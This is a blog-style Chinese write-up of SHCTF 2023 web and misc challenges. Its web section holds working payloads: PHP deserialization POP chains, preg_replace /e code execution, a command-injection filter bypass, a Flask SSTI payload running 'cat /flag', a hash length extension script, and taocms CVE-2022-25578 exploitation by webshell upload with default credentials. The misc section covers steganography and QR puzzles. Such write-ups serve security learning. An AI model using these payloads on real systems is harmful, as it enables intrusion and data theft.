SHCTF 2023 misc&web wp

官方wp

SHCTF-Official WP

WEB

[WEEK1]ezphp

深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客

preg_replace函数/e 模式下的代码执行+一道例题 - Hel10 - 博客园

慎用preg_replace危险的/e修饰符(一句话后门常用) - 稻禾盛夏 - 博客园

payload

GET:

?code=${phpinfo()}

POST:

pattern=.*

Ctrl+f 搜索flag即可

[WEEK1]ez_serialize

[CTF]PHP反序列化总结_ctf php反序列化-CSDN博客

0x013 pop链构造解释_哔哩哔哩_bilibili

exp

PHP
<?php

class A{
  public $var_1='flag.php';
 
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";          
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    } 
}
$a=new A();
$d=new D();
$d->p=$a;
$c=new C();
$b=new B();
$c->z=$d;
$c->var=$b;
$b->q=$c;
echo serialize($b);

?>

?payload=O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";r:1;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

[WEEK1]babyRCE

uniq没过滤

flagfl?g代替

分号用%0a代替

空格用%09代替

?rce=uniq$IFS/fl?g%0a

[WEEK1]生成你的邀请函吧~

Python
import requests

#
定义API端点URL
url = "url/generate_invitation" #放url

# 准备请求体数据
data = {
    "name": "Yourname",
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}

# 发送POST请求
response = requests.post(url, json=data)

# 检查响应状态码
if response.status_code == 200:
    # 以二进制方式写入响应内容到文件
    with open("invitation.jpg", "wb") as f:
        f.write(response.content)
    print("邀请函已保存为 invitation.jpg")
else:
    print("请求失败,状态码:", response.status_code)

[WEEK1]飞机大战

搜索won

解unicode 再转base64

[WEEK1]登录就给flag

爆破密码即可,这里用的弱口令字典爆破

[WEEK1]1zzphp

num[]=1绕过前两个if

后面两个if绕过如下blog.csdn.net

Python
import requests

data={"c_ode":"a"*1000000+"2023SHCTF"}
url="http://112.6.51.212:30028/?num[]=1"
res = requests.post(data=data,url=url)

print(res.text)

[WEEK2]no_wake_up

绕过wake up即可,利用伪协议读flag.php

构造payload:

PHP
<?php

class flag{
    public $username='admin';
    public $code='php://filter/read=convert.base64-encode/resource=flag.php';}
$a=new flag();
echo serialize($a);
?>

O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

给前面的属性值+1即可绕过

?try=

O:4:"flag":3:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

[WEEK2]EasyCMS

Taocms 代码注入漏洞(CVE-2022-25578)_taocms演示系统漏洞

dirsearch扫到后台的登录地址

URL/admin/admin.php

账号:admin(默认)

密码:tao    (默认)

成功登录管理员账户

在文件管理处新建一个php文件,内容为一句话木马,然后保存访问执行系统命令即可

题目名称:[WEEK2]MD5的事就拜托了

知识点:parse_url() 套娃,intval()漏洞   哈希长度拓展攻击

解题步骤:

PHP
<?php
$url = 'host://SHCTF:pass@user/SHCTF?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

第一个ifparse_url函数的解释和绕过

$schema =host

$$schema=$host

$host=user
$z$$schema=$host=user

user=SHCTF
$$$schema=SHCTF

POST:SHCTF=host://SHCTF:pass@user/SHCTF?args=value#anch

第二个if

利用intval(400.123)=400的特性

?length=4.1234

$flag
       md5值:c1514bd780fad6fcaf27bde0344acee0
       长度:42
$num$SHCTF均可控
if($_POST['SHCTF']===md5($flag.urldecode($num))) #这里的.+是一个意思,都是拼接

假如$flag=aaa , $num=123

则拼接为aaa123

这里涉及到哈希长度拓展攻击

MD5的Hash长度扩展攻击原理及应用

下面是一个py脚本,能实现hashpump的功能(来自hash-ext-attack

Python
import base64
import hashlib
import hmac
import struct
import sys
import time
import urllib.parse

from common.md5_manual import md5_manual
from loguru import logger
from common.crypto_utils import CryptoUtils

class HashExtAttack:
    """
   
哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题
    目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式
    """

    def __init__(self):
        self.know_text = b""
        self.know_text_padding = b""
        self.new_text = b""
        self.rand_str = b''
        self.know_hash = b"3c5a36dd888251601d36bbc184648717"
        self.key_length = 15

    def _padding_msg(self):
        """填充明文"""
        logger.debug("填充明文")
        self.know_text_padding = md5_manual.padding_str(self.know_text)
        logger.debug(f"已知明文填充:{self.know_text_padding}")

    def _gen_new_plain_text(self):
        """生成新明文"""
        self.new_text = self.know_text_padding + self.rand_str  # b'80' + 55 * b'\x00' + struct.pack("<Q", 512 + len(self.rand_str) *8)
        logger.debug(f"new_text: {self.new_text}")

    def split_hash(self, hash_str: bytes):
        by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode())
        return struct.unpack("<IIII", by_new)

    def _guess_new_hash(self) -> tuple:
        """生成新hash"""
        # 第一步先生成新的字符串
        # 对已知明文进行填充
        self._padding_msg()
        # 第二步 生成新明文
        self._gen_new_plain_text()
        # 第三步 生成新hash(基于已知hash进行计算)
        # 3.1 hash拆分成4个分组
        hash_block = self.split_hash(hash_str=self.know_hash)
        md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block
        tmp_str = md5_manual.padding_str(self.new_text)
        logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}")
        logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}")
        md5_manual.solve(tmp_str[-64:])
        self.new_hash = md5_manual.hex_digest()

        return self.new_text, self.new_hash

    def run(self, know_text, know_hash, rand_str, key_len) -> tuple:
        # self.know_text = input("请输入已知明文:")
        self.know_text = ("*" * key_len + know_text).encode()  # 密钥拼接
        self.know_hash = know_hash.encode()
        self.rand_str = rand_str.encode()

        self._guess_new_hash()
        logger.info(f"已知明文:{self.know_text[key_len:]}")
        logger.info(f"已知hash:{self.know_hash}")
        logger.debug(f"任意填充:{self.rand_str}")
        logger.info(f"新明文:{self.new_text[key_len:]}")
        logger.info(f"新明文(url编码):{urllib.parse.quote(self.new_text[key_len:], safe='&=')}")
        # logger.debug(f"新明文:{base64.b64encode(self.new_text[key_len:])}")
        logger.info(f"新hash:{self.new_hash}")
        return self.new_text[key_len:], self.new_hash

    def input_run(self):
        time.sleep(0.2)
        self.run(input("请输入已知明文:"), input("请输入已知hash: "), input("请输入扩展字符: "),
                 int(input("请输入密钥长度:")))

    def test(self):
        self.run(
            "order_id=70&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1678236217.799935",
            "178944d4a39e4e4af6522c6de6cb24c5", "&good_price=1", 50)

hash_ext_attack = HashExtAttack()

if __name__ == '__main__':

    logger.remove()
    logger.add(sys.stderr, level="INFO")
    hash_ext_attack.input_run()

 

明文也就是$flag我们不知道,直接给空

然后hash和长度都给$flag的,扩展字符随意

payload

Get:

url/?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00abcd

POST:

SHCTF=738951256b789b8e5daef107b88a7a97

[WEEK2]ez_ssti

SSTI(模板注入) 解析 ctf 做法_ctf flask模板注入-CSDN博客

Payload:
GET:?name=

{% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()"))%}

题目名称:[WEEK2]serialize

知识点:正则绕过,_toString _wakeup _get 非法参数名 伪协议

解题步骤:

PHP反序列化

exp

<?php

class misca{
    public $gao;
    public $fei;
    public $a;
}
class musca{
    public $ding;
    public $dong;
}
class milaoshu{
   
public $v='php://filter/read=convert.base64-encode/resource=flag.php';
}

$misca = new misca();
$musca= new musca();
$milaoshu=new milaoshu();   //创建对象


$musca ->ding = $misca;          //把对象miscading,misca里没有$dong这个属性,触发_get
$misca ->gao = &$misca->a;   //a的地址给gao,在方法_get里导致ding的值赋值给了$a
$misca ->fei = $milaoshu;        //fei的值设置为对象milaoshu,由die()触发_toString


echo serialize(array($musca));//利用数组绕过正则匹配

[WEEK3] 快问快答

抓包看到是post传的答案

脚本:

Python
import requests
from bs4 import BeautifulSoup
import re
import time

#
创建会话
s = requests.Session()
url = 'http://112.6.51.212:30842/' #url

# 循环答题
correct_answers = 0
for i in range(70):  # 除法运算时有些报错,影响了循环,这里改70
    # 获取题目
    r = s.get(url)
    r.encoding = 'utf-8'
    soup = BeautifulSoup(r.text, "html.parser")
    question_text = soup.find("h3").text
    print(question_text)

    # 使用正则表达式从题目中提取数字和运算符
    matches = re.match(r'题目:(\d+) (异或|与|[+\-x÷]) (\d+) =', question_text)
    # 等待一秒
    time.sleep(1)
    if matches:
        num1 = int(matches.group(1))
        operator = matches.group(2)
        num2 = int(matches.group(3))

        if operator == '+':
            answer = num1 + num2
        elif operator == '-':
            answer = num1 - num2
        elif operator == 'x':
            answer = num1 * num2
        elif operator == '÷':
            answer = num1 / num2
        elif operator == '异或':
            answer = num1 ^ num2
        elif operator == '与':
            answer = num1 & num2

        # 准备POST数据
        data = {"answer": answer}

        # 发送答案
        response = s.post(url, data=data)
        print(f"答案:{answer}")
        print(response.text)  # 输出对应的response.text

能用就行脚本)

MISC

[WEEK1]签到题

如题,两个64解密即可

flag{this_is_flag}

[WEEK1]也许需要一些py

打开flag文件是png结构,缺少文件头,补上即可,下面还可以看到描述有摩斯密码

加密后的md5,暂时不管,摩斯密码解密一下

结合描述

THIS1SY0UKEY转小写即可

这是flag,但是大小写不是正确的,结合刚才得到的md5可以推测

md5解密后对应的是正确大小写的flag,但是md5只能加密不能解密

所以这里先把所有的大小写可能罗列,然后计算其md5值,并与我们的md5值进行比较

脚本如下

Python
import hashlib

#
目标MD5哈希值
MD5 = "63e62fbce22f2757f99eb7da179551d2"
# 已知的正确字母的字符串
key = "pNg_and_Md5_SO_GreaT"

# 递归函数,生成所有可能的大小写组合
def generate_variants(current_variant, index):
    if index == len(current_variant):
        md5_hash = hashlib.md5(current_variant.encode()).hexdigest()
        if md5_hash == MD5:
            print(f"找到匹配的字符串: {current_variant}")
            return
        return

    generate_variants(current_variant, index + 1)  # 不更改当前字符的大小写
    if current_variant[index].isalpha():
        new_variant = current_variant[:index] + current_variant[index].swapcase() + current_variant[index+1:]
        generate_variants(new_variant, index + 1)  # 更改当前字符的大小写

generate_variants(key, 0)

flag{Png_AnD_md5_so_GReAt}

[WEEK1]ez-misc

01转二维码脚本

Python
from PIL import Image
from zlib import *

MAX = 29 #
先数出数字的比例,这题是29*29
pic = Image.new("RGB",(MAX,MAX))
str ="xxx"                  #放01文本进去
i=0
for y in range(0,MAX):
    for x in range(0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0,0,0))
        else:pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
#pic.save("flag.png") 保存就使用这个,保存在当前目录

微信扫码得到

hit_k1sme4_4_fun

拿这个密码解密加密文件得到

改后缀zip打开

解密下面的二进制码得到rockyou

但rockyou不是flag.txt的解压密码,这里的意思是用kali自带的字典rockyou.txt进行字典爆破密码

Kali自带密码字典rockyou.txt解压-CSDN博客

我这里运行不动不知道原因,就把字典拉到win的ARCHPR上用了

密码:palomino

字频统计

flag{SHyk1sme4}

[WEEK1]Jaeger lover

翻译:你知道环太平洋吗?

这里的标题jaeger是环太平洋里的机甲

zip里面是个加密的png,Typhoon的图片底部有base文本

you know the Windows is a system for PC,but do you know the what is thr Op. System for this Jaeger

要我们找jaeger的操作系统,这里考察搜索能力,操作如下

https://pacificrim.fandom.com/wiki/Crimson_Typhoon_(Jaeger)

key:Tri-Sun Horizon Gate

但它不是压缩包的密码,根据题目描述,这张Typhoon还有一个操作没做

steghide解密

.*+#1Ao/aeS  拿到这一串key 解密zip文件

拿到图片

改宽高

K34-759183-191,现在只剩一步了,根据图片名字secret

尝试oursecret解密,图片选择修复后的图片,密码:K34-759183-191

flag{A1l_boys_aRe_Jaeger_L0ver!!}

[WEEK1]Steganography

第一张图010打开尾部解密base64

12ercs.....909jk

第二张图得到xqwed,把它放入.....中

key:12ercsxqwed909jk

解压得到flag

flag{4d72e4f3-4d4f-4969-bc8c-a2f6f7a4292c}

[WEEK1]可爱的派蒙捏

拿到一张图片

binwalk分离

两个文本非常相似,中文,代码文本比较

一个一个打出来即可

flag{4ebf327905288fca947a}

[WEEK1]message

PDU编码解码工具

SHCTF{ba978405-b1c8-847c-8e69-f62177e4c087}

[WEEK2]远在天边近在眼前

里面很多嵌套的文件夹,目录即为flag

Python
import zipfile
import os

#
指定ZIP文件路径
zip_file_path = "C:/Users/Nanian233/Downloads/Compressed/find_me.zip"

# 打开ZIP文件
with zipfile.ZipFile(zip_file_path, 'r') as zip_file:
    # 列出ZIP文件中的所有内容
    for item in zip_file.namelist():
        # 输出文件或文件夹的名称
        print("ZIP文件中的内容:", item)

 

注意:如果先解压zip再去查看的话,?会被转化为_,这应该跟win解压的文件名会自动转化某些字符有关

所以这里的脚本是直接打开zip然后继续查看里面的内容

删除/ 并且逆向即可

[WEEK2]奇怪的screenshot

知识点: CVE-2023-28303 

参考:羊城杯2023  ez_misc

工具地址:frankthetank-music/Acropalypse-Multi-Tool: Easily detect and restore Acropalypse vulnerable

magnet:?xt=urn:btih:flagCVE-2023-28303-Win11-Snipping-t00l-is-n0t-Secure

flag{CVE-2023-28303-Win11-Snipping-t00l-is-n0t-Secure}

以下四题是自己出的,详细wp已写入官方wp中,这里直接演示操作

[WEEK2]喜帖街

知识点:频谱图 steghide Ook

详细wp已写入官方wp中

Steghide extract -sf

password:LeeTung

Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org]

[WEEK2]可爱的洛琪希

知识点:   伪加密 base64jpg exif 维吉尼亚

详细wp已写入官方wp中

CTF——zip伪加密_xiaozhaidada的博客-CSDN博客

打开得到一大串base64

保存jpg文件,右键属性打详细信息

736c6e6f7b52626b795f71696966686b76217d

010打开底部拿到key:nanian

[WEEK2]图片里的秘密

知识点:图片分离 单图盲水印

详细wp已写入官方wp中

binwalk题目图片,获得一个压缩包

打开里面的图片进行盲水印提取即可

[WEEK2]表里的码

知识点:excel后缀名 粗细字体转二维码

详细wp已写入官方wp中

改后缀为xlsx打开

Ctrl+H打开替换,把粗体换成填充黑色的格子即可

扫码得到flag

[WEEK3]尓纬玛

二维码之QR码生成原理与损坏修复 - luogi - 博客园

qrazybox工具

相同操作:解得一半的flag

ctftime.org

我们把final data bits里的第一行数据进行二进制解密

去掉前4(表示模式)+8(表示长度)位和后4+8位得到完整flag

二维码是如何设计出来的?

格式信息存储了两次,因此即使QR码被部分遮挡也可以读取。

「QRCode 标准阅读」#0 总章

二维码结构:

功能图案function patterns

静默区quiet zone):至少4个单位宽

特征符finder pattern):7x7黑圈 5x5白圈 3x3黑块

分割线separator):在特征符周围的一圈全白区域

时序图案timing patterns):第7行第7列的两条黑白条纹

对齐图案alignment patterns):版本1无,版本2-6 1个,版本7-13 6……(附录E

编码区域encoding region

格式信息format information):左上角分割线外一圈,左下角分割线右侧,右上角分割线下侧

版本信息version information):版本7后才有,在左下分割线上侧,右上分割线左侧

数据及纠错码区域  (data  and  errorcorrectioncodewords)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Nanian233

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值